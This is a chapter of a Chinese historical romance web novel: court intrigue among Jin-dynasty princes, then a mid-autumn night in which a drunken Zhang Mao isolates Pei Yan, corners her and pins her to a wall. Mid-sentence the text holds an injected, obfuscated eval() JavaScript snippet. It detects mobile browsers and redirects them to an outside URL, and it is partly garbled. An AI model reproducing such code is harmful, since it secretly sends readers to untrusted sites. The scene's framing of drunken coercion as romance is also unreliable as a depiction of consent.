裴娴想起方才那些族人的目光,有些同情地对她道:“那些庸人的言语,你别放在心上。” 裴妍自嘲地笑了笑,水汪汪的眸子一转,长长的眼睫落下,掩住一瞬失落:“若搁过去,我或许会难过许久。可放现在,我只是有些疑惑——即便她们不愿意像从前那样与我要好,也不至于非得上来踩我一脚吧?怎么各个生就一副恨不能作践我的样子?都是同根生的姊妹,有那么大仇怨么?” “呵!”这有什么难理解的,“她们只是不忿,为何你不像她们想的那样落魄。” 她们想看到我落魄?竟是这样? “当初,王司徒‘如珠似玉’的批语,将你和阿妡捧到天上去,她们敢怒不敢言。如今……不要小看女人的嫉妒心。”裴娴语重心长地道。 裴妍扶额。她只觉这种小女郎间的争风吃醋何其无聊。有这时间,学着做点事情不好么? 将裴娴送回家后,裴妍赶紧到张茂那里点卯。今日浪费了大半时日,也不知漏掉多少重要的消息! 她将将走到书房门口,就被听雨拦下了。说是常山王突然过府,张茂与他在里面议事。 常山王?他又来做什么? 裴妍轻手轻脚地自侧门入书房。 就听张茂道:“禁军虽只有八万,然皆精锐,诸国若强攻,恐折损过剧。” 另一个年轻男子的声音道:“成逊的意思?” 裴妍凑到鱼眼珠那,就见张茂苍劲有力的指节划过墙上一副硕大的舆图,最终在长江边角处停下,点着那里道:“若郗刺史愿与大王联手,淮南粮道可断。赵王军心必乱。” 裴妍见张茂对面站着一个同样年轻的男子。一身紫府直裾锦袍,头戴平巾帻,手握鹅扇,一派儒雅随和之气。心知这便是那个常山王了。 就见他微微蹙眉:“小王听闻,郗刺史与赵王乃总角之交,交情莫逆,只怕难以转圜。” 张茂未应承他,只在建邺城西临江险要处拿扇柄一点。 “这里是,石头城?” 还不是太蠢。张茂莞尔,“东海都尉王璲善识有谋,奉命镇石头城。大王何妨与之交好,再论其他?” 常山王有如醍醐灌顶,连连称妙,与张茂略聊两句,便马不停蹄地回去复信了。 客人走了,张茂瞥了眼屏风一角的锦鲤,脸上露出一抹浅笑来,好似春风拂面,暖意横生。 他不动声色地端坐于席,给自己斟了杯凉茶,“方才讲的,可听懂了?” 一个梳着元宝髻的脑袋自帷后钻了出来,俏生生地问他,“你怎么知道我回来了?” 张茂故作神秘,装模作样地掐指道:“我师叔是挚神仙,自然是跟他学的!” “哼!”裴妍才不上他的当呢,“分明是这鱼眼珠子,没人看的时候中间是白的,有人看了就会变黑。” 张茂确实有些惊讶,这都被她发现了! 裴妍有些得意地道:“我早将这书房里每一寸地都摸熟了!” “你摸我书房作甚?”张茂眉梢一挑,不禁好奇。 “你教的啊!‘知彼知己,胜乃不殆;知天知地,胜乃可全。’我若是连自己学习的地方都不能完全熟悉,遑论其他?” 张茂有些好笑地扶额,她这是拿兵家那套用在自己身上了。真不知他是该幸呢还是该悲。 “今日还顺利么?”张茂将裴妍拉到身边。熟悉的忍冬香幽幽传来,一日未见,他有些想她了。 这才几日啊!他似乎已经习惯自己理事时,后面坐着一个奋笔疾书的小姑娘。间歇时,他边和她一起吃着急饷,边回答她圈划出的各类疑难问题。和幕僚讨论时,那屏风后的鱼眼睛时不时会突然变黑,于是他会故意讲得慢点,好让她听得更清楚些。 张茂握住裴妍的手,合在自己的掌心里揉了揉。他突然有种奇怪的想法,若是能把阿妍变小,装在袋子里,别在他的裤腰带上,走到哪里都能带着,想见时便能随时相见,这该多好? 他被自己离经叛道地想法打了个机灵,赶紧甩甩头,暗叹真是魔怔了。 裴妍好奇地看着他,只见他脸上一会心悦,一会亢奋,一会失落,一会懊恼,最后还甩了甩头。以为他处理了一天公务,累着了,赶紧拿手在他的眼前晃了晃。 “阿茂?”裴妍轻唤。 “啊,你说。” “不太顺利。”裴妍有点泄气地依偎进张茂怀里。 “她们胆敢为难你?”张茂语气一凛,眸中煞气毕现。 “不不,”裴妍赶紧道,“为难谈不上。” “有容秋和半夏在,谁敢动我?”她苦笑,“她们只是,不太待见我。” 哦!对此,张茂亦爱莫能助。他的手,可以设法伸进任何一个大员的酒桌,却伸不进那香风暖帐的后院闺阁——那是女子的战场。 尽管他让裴妍跟在自己身后熟悉外面的事务,但这并不意味着,她就可以对內帷之事闭耳不闻。 毕竟男女有别,至少明面上,裴妍得担起一个女子该担的责任。如今,她要与在室女子交游,将来,她要与官眷周旋。这份担子,她再不愿意,也扔不掉,逃不开。 于是他道:“内宅的事,你可多向裴娴与裴妡请教。”他想了想,突然莞尔:“再不济,还有我阿姊呢!” 虽说她阿姊虎了点,文官家的女眷基本被她得罪光了,武勋世家的女眷却各个以她为榜首,连她的阿家都拿她没办法。真不知该说什么才好。 裴妍对张瑗的观感却好得很。听张茂这么贬低自己姐姐,很为她鸣不平。“什么叫‘再不济’!有你这么说自家姊姊的?我告诉她去!” “哎别!”张茂一把拉住她,转移话题道:“近段时日你且忍一忍,待明年除服,我们成亲后,会好许多。” 如今裴妍顶着的,是钜鹿郡公府长房孤女的名头,又有司马毗混闹,自然不受族中女眷待见。但明年她嫁来张家后,便是他们凉州刺史府的二少夫人。那些胆敢出头挑刺的,也得看看凉州的大马准不准! 裴妍明白他的意思,脸上泛起一丝红晕,小声应和:“小不忍则乱大谋,我懂!” 张茂一捏她的鼻子,赞道:“然也!” 如今已是八月,离明年六月不过大半年光景。裴妍捂住脸——她就快嫁过来了呀! 日头西斜,晚风已带凉意,吹走白日的躁动。 二人依旧就着书案用了哺食。 刚吃完,张茂还想与裴妍温存会,就见她急不可耐地掏出方才在屏风后做的卷帛笔记。 “都尉不是没有刺史官大么?常山王推测郗刺史不肯背叛赵王,你就让他去找东海都尉王璲?那王璲能做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15351125|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郗刺史的主?” 她目光灼灼、求知若渴,倒把张茂惹得自惭形秽起来。他清了清嗓子,把那绮艳的遐思暂且放到一旁,耐住性子给她解释。 “将士以军功起家,郗刺史不愿与赵王为敌,可他的手下也这么想么?” 他缓步走到墙边,指着其上的舆图,点了点冀州、并州、兖州、豫州,很显然,洛阳城被困在了诸侯当中。 “赵王僭越登基之日,就是诸侯起兵之时。”他剑指角落上的建邺,“彼时,扬州还能独善其身么?” 裴妍的祖父裴秀,生前是舆图大家。受他影响,叔祖裴葑在给姐弟俩启蒙时,便拿裴秀的十八篇《禹贡地域图》给他们做过作业。 故而,她看张茂的这份舆图不算吃力。 裴妍点头,张茂曾与她说过,三军未动,粮草先行。若扬州与豫州皆被拿下,那么淮南的粮草将无法送入京畿。赵王便会自乱阵脚,崩溃不过是迟早的事。 裴妍的目光不自觉地落到关中,因见张茂在其上特意点墨标识。她记得《太史公书》里有云:“秦地被山带河,四塞为固,卒然有急,百万之众可具。”心道,那必是重中之重的地方,于是好奇地问:“关中谁在主事?” 张茂一愣,没想到她会关注这个。 “河间王。” “怎么没有听说过呀!不是洛京出去的?” “他是帝室疏族。长年领兵在外。等闲不回中枢。” 哦!还是个会打仗的诸侯。 “你很看重他?” 张茂点头,负手望着舆图。自关中往西,便是凉州所在,往北是雍州,往南为蜀中,皆是五胡混杂之地。 这些年,凉州与关中多有来往,从打的交道来看,河间王为人狙诈阴诡,绝非善类。偏他手握重兵,又据有锁钥之地,恐生是非。 “不过还是我们阿茂厉害!”裴妍不知张茂所忧,她只是单纯的想,如张茂的计策能行,必能少死不少人吧?如今乡野凋敝,民生艰难,若再因战火而折损人力,这偌大的江山,即便得到了,也只是个空架子,又有什么意义呢? 可惜,那些上位者不这样想。 同一片苍穹下,豫州,齐王府。 齐王司马冏征兵的手令墨迹未干,便被心腹急急传了下去——秋收一过,那些仅剩的自耕农,也不得不背井离乡,被卒役驱赶着,去他们最不愿去的军营,充当那护城河里的垫脚石,攻城头上的攀云梯。 一个平民男子,从呱呱坠地到艰难长成,本就曲折艰难。好不容易可以种地养家了,却被天家的手轻轻一掐,成了那点兵册上,无力的圆圈——活得有多难,死得便有多容易! 不单单是齐王,各地同样以扩充府军的名义征兵的诸侯不胜枚举。 没人在意荒落的田园,废弃的农舍,以及千里无人烟的哀寂。 司马家的诸侯,如今一只眼睛守着洛京,一只眼睛盯着演武场,就等那辈份最高的赵王登高一呼,他们也好得了勤王的名分,行祖宗行过的家事。至于谁能最先攻到洛阳,挟天子以令诸侯,便看各自的本事啦! 在这些诸侯眼里,惠帝这个天子便是行走的虎符。天子行营所在,就是王师大纛。 然而,任下面人摩拳擦掌,磨刀霍霍。坐拥这个最大宝贝的赵王却在想着怎么把他赶出去! 京城西宫。 挚虞连卜六爻,均是大凶。他俯伏诚拜:“天子别居,龙脉滞塞,紫薇星暗,国将不国。大王深思!” 赵王眉峰聚壑,唇角垂刃,阴鸷的目光扫过下首:“许昌乃故都所在,王气所钟,何言龙脉断绝?神仙莫要诓我!” 挚虞还要进言,一旁的孙秀眼珠一转,对赵王道:“神仙只说不让君王别居,那金庸城本就是先帝离宫,若使天子游幸其中,既全礼制,复怡圣心,岂非两善?” 一席话听得赵王撸须颔首。“善!”当即命巧匠加修工事,定要在年前完工——“必于岁除前成!” 挚虞不动声色地隐于其后,收敛锋芒,袖手看着这对主仆一唱一和,嘴角忍不住泛起一抹嗤笑——死到临头还不自知,蠢极! 88. 如何雪月交光夜,更在瑶台十二层…… 仲秋前的一天,风明显转凉的时候,裴妍终于收到了来自闻喜的家书,与上回不同,竟是两份。一张字体绵软,是母亲的;一张清丽俊秀,是阿妡的。 裴妍颤着手捧起母亲的那张。 小郭氏读书不多,话语直白,大量篇幅关心裴妍的身体,叮嘱她多照顾自己,及至提到她跟张茂回京的事时,才文绉绉地说了一句“从心所欲,吾弗与闻”(随你吧!我不想听了。)似乎不想多说。至于明年六月成亲的事,也只是无奈地表示:“张氏主之,从之可也!”(张家做主,听他们的。) 裴妍知道,她让阿母失望了。可她并不后悔——裴妃姑姑与东海王就是前车之鉴,不是同路人硬要走到一起,最终不过是世上多了一对怨偶而已! 至于裴妡,对司马毗与张茂之争则嗤之以鼻,“男子之戏,无聊耳!”反而对她前一阵纠结的“君子不器”大书特书。 原来早在叔父在世时,裴妡就曾为此与他探讨过。叔父说了什么,裴妡没写,只写了她自己的结论——“古之驸马都尉,鲜有执权柄者乎?既男子可假女子之势成事,女子何不可借男子之力遂愿?”(自古驸马都尉掌权者少么?既然男人可以借女人的手成事,女人为何不可以借男人的东风成功呢?) 裴妍深以为然! “家书收到了么?”张茂负手进来。 裴妍将布帛收好,喜气洋洋地告诉他: “母亲同意了!” 张茂其实早已知道结果,但还是被裴妍感染,眼角跟着洋溢出一股喜悦。 “呜,看来我得赶紧给阿耶去信,召些匠人来,把我那院子加紧扩建起来了!” 近日赵王几乎召集了少府三工官的所有大匠,不分昼夜的修缮皇城和金庸城。为了赶工期,宫中大匠不够,还招募了大量在京的民间匠人,以至于民间无匠可用。张茂修个宅子都得问凉州要人——明眼人都看得出,工事落成之日,就是赵王夺位之时。 “哎呀,还有大半年呢!急什么!”毕竟是女子,裴妍脸上又泛起一丝红晕。 张茂就爱看她两颊起晕的样子,最上等的胭脂也勾勒不出这情状,忍不住一口啄了下去。 裴妍大惊,跟只兔子似的,一下子跳开,一手搓着脸上可疑的口水,一手指着他控诉:“你怎么又偷袭!恁坏!” 张茂却不放过她,把她堵在墙角一把捉住,硬是在另一侧颊边也亲了一口。这才松开她,憋着坏笑——好了,这下匀称了! 裴妍只好愤愤地再擦另一边,也不逃了,杏眼翻白,气咻咻地看着他。 这时,管事的家老求见。二人这才敛了容色。 原是明日仲秋家宴的事。 想起今年的仲秋家宴,裴妍就一脸的失落。 她本欲和张茂一起回钜鹿郡公府,找公主与裴该过节。可裴该却回信,仲秋当日要和公主赴宫宴。 裴妍又想延请大姑子张瑗一家过来。可张瑗夫妇去岁刚外放回京,今年自然要在唐家尽孝,亦来不了。 至于裴妡,她父母被召回京,她和薛翊今年肯定是要去冀州刺史府,陪父母和祖母过节的。 裴妃姑姑倒是邀她过府一叙。可是想到张茂的醋劲,加之司马毗又快与裴渺成亲了,她就是为避嫌也不能答应。 是以今年的仲秋,只裴妍与张茂二人过。 这让裴妍有些失望——她素来爱热闹。秋日本就寂寥,冷清清的月亮,就她与张茂对座而酌,不是冷上加冷? 而且,不知为何,近日但凡晚间两个人独处得久些,张茂就会性子大变,忍不住对她做些出格的事,以至于她现在一到入夜就开始紧张,甚至几度找借口溜走! 她就不明白了!张茂以前明明,那么端方的一个君子,怎么如今行事,愈□□荡了呢?是,他是没有像司马毗那样强迫过他。可是,他那些手段……简直难以启齿! 裴妍捂住发烫的脸颊,心里不知是怒是怕,似乎……还有几分隐隐的喜欢?哎呀,哪有!羞死人了! 翌日,整个洛阳城张灯结彩。秋分时节,天气转凉,却还没有冷得厉害,各式女眷的衣着仍以轻盈为主。 凉州刺史府里亦挂着各式彩灯。 花厅前的庭院里,硕大的木犀桂的一侧枝丫上挂着一幅工笔绘就的嫦娥画像——一位人头蛇身,头梳高髻,身着宽袖长襦,身后长尾上饰有倒钩状细短羽毛的女子。 树前设了红漆香案,正中摆有月神牌位。牌位前规整地摆着各式瓜果寒食。 张茂携裴妍早早沐浴更衣,于中庭对着月神牌位焚香叩拜。起身后,张茂又作拜月诗二首,恭敬地献于案前。其后,二人才回花厅用哺食。 花厅槅门大敞,坐在室内便能看到又大又圆的月亮,高悬于空,清静致远。 适时,桂花香气飘来,裴妍一边捧着石榴掰籽吃,一边赏景,只觉今夜的所见所嗅所尝简直太美了,宛若仙境! 她在赏月,别人却在赏她。 张茂斜靠缇几,呷了口殷红如血的葡萄酒,以手支额,剑眸带钩,直直盯着眼前的佳人。 他今日未着劲装,代之以一身银鱼纱广袖长袍,头未戴冠,簪之以桂枝,额前故意落下几缕碎发,颇有几分仙风道骨。 裴妍穿得亦不算厚。她挑了件菊红间色襦裙,腰系南珠垂霄,外披一条织金翠羽披帛,头梳飞仙髻,髻上斜簪一支张茂送的金蝉白玉簪,眉心贴了一枚小小的金箔满月,摇头晃脑间,于灯下熠熠生辉。 美人美景美酒美食当前,张茂却晃动着酒盏,微微眯着眼,想着更美的事! 未几,整整一壶葡萄酒被他吃得一滴不剩。 他高声唤守在院外的听雨,让他再取两壶来! 裴妍却拦住他,怕他又醉了。何况,她看着自己空落落的漆盏,忍不住委屈:“你怎么自斟自饮,把我的那份也喝了!” “故而,让他们再来两瓶啊。”张茂浅笑。 酒是提前备好的。张茂刚吩咐下去,听雨便弓着腰将葡萄酒送了上来。 裴妍忽而想起张茂喝醉酒时的狂态,不禁紧张起来,探头看了眼空落落的外面,蹙眉问听雨:“半夏和容秋呢?” 她记得方才她们还在院外,和听雨一起吃果子赏月来着。 “两位阿姊喝得有些多,奴唤人扶她们下去歇息了!” 什么!裴妍只觉五雷轰顶。后槽牙咬得咯吱响。不是说好让她们今晚千万别吃酒,明天随她们喝的么! 她有些狐疑地看向听雨。容秋便罢了,半夏可是海量,等闲不会醉的。 听雨却将身子弓得更低了。他仿若能猜出裴妍的心思,就听他“解释”道:“半夏阿姊不知怎的,放着醪糟不喝,偏爱皇甫神医酿的山参药酒,许是喝不惯上头,一杯就倒了。” 皇甫师叔什么时候给的药酒?怎会这么巧? 裴妍还在犹疑。听雨却接到张茂的示意,默默退下了。 待回过神来,偌大的花厅,霎时又只余她和张茂二人! 张茂面不改色,一振广袖,骨节分明又修长的大掌握着葡萄酒壶,伸到裴妍身前,“咕咕咕咕”,殷红的酒液缓缓流出,很快就将漆盏盛满。裴妍只觉自己的心口亦跟着胀胀的,似乎那酒,不是倒在漆具里,而是倒在了自己的心上。 不知为何,她忽而觉得,今日这花厅未免太大太凉了些。她不禁抚了抚胳膊。可她又觉得,若说冷吧,自己脸上却有些热辣辣的。还有——张茂的每一个动作,似乎,都牵扯着她的心。她甚至不敢直视对方,只好盯着眼前的酒盏不语。 一阵西风吹来,酒液微微摇晃,她看到自己在酒中的倒影,跟着震颤起来,一如此刻,她纷乱的心絮。 “阿妍在想什么?” 张茂的声音自上方传来。 “没……什么!”裴妍听到自己的声音似乎带着些微颤意。 良久,没有动静。 她忍不住好奇地抬头,却见张茂正靠着缇几,两手 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花厅外,彩色风灯的光晕打在他刀刻斧裁的侧颜上,好似……带着面具的魔王! 裴妍突然有一瞬怕了。 “阿茂哥!”她小心翼翼地唤他,如雨后蝶翼,带着垂死的挣扎,试图挽回他的一丝神识。 “嗯?”张茂挑眉,虽回应了她,可那声调早已不复往日的持重,语带轻佻,宛若酒糟上漂起的绿蚁。 他又醉了! 裴妍下意识地觉察到危险。她忽然起身,假作很冷地摸了摸胳膊,勉力维持镇定,浅笑道:“今日穿少了,身上凉得很。偏生那两个还醉了,我还是先回书房加件披风吧!” 为了方便她起居,张茂在他的书房内室里置了一个衣柜,特意放她的常备衣物。 “哦!何必呢?”张茂不疾不徐地起身,粗粝的手指捏住他的银鱼纱外袍一角,一把褪了下来,“阿妍觉得冷?正巧,我却有些热!” 裴妍心头一颤,眼见着他举着外袍缓步走近自己。她突然有种自投罗网地感觉,不自觉地往后退了几步。 “不冷了不冷了!”她语无伦次地道,“我刚刚说错了,我……我也热着呢!” “哦?”张茂却没有停下步子,一路将裴妍逼到了墙边,“既然热,何如也脱一件?” 也脱?裴妍结巴地道:“我又没穿外袍!” 可张茂就拦在她面前,寸步不让,侵入的目光含着氤氲的醉意,如天罗地网,将她牢牢锁在中央,动弹不得。 突然,他的一只大掌伸向裴妍。 裴妍心口一震,人也跟着颤了一颤。只见他的手,自她的脸颊拂过,顺着脖颈,来到她的肩头,将塞在腰带一头的披帛一点点抽了出来。 裴妍心头一松,还好她有披帛! 可是下一瞬,他的大掌又伸了过来,按在了她耳后的墙上。 于是她整个人似被笼上一层阴影。她抬头,正对上他的灼灼星目,和喷薄出的酒味。她现在,所见所闻,满是他! “阿妍,”张茂突然唤她,语调沙哑,浑厚如酒,“今秋的石榴好吃吗?” 裴妍脑袋昏昏,刚想说好吃,下一瞬却突然意识到他要做什么,于是突然一个灵巧的转身,他低头,吻在了她如鸦的秀发上。 她居然——背朝着自己! 张茂站直身子,目光却更加晦暗,眸中之前还亮着的星星点点,如今尽被欲望代替。 裴妍犹不自知,感觉身后没了动静,还以为张茂平复了下来,自己安全了!于是她试探地,拿小手推了推横在自己耳边的那道铁臂。 “阿茂,你把我困在这作甚?放我去吃点东西吧?” “好!” 头顶两侧的胳膊突然撤了回去,裴妍大喜,压迫感瞬间卸去,连呼吸也顺畅许多! 她喜气洋洋地回身,下一瞬却只觉后背一阵钝痛,她整个人被按在了身后的墙上!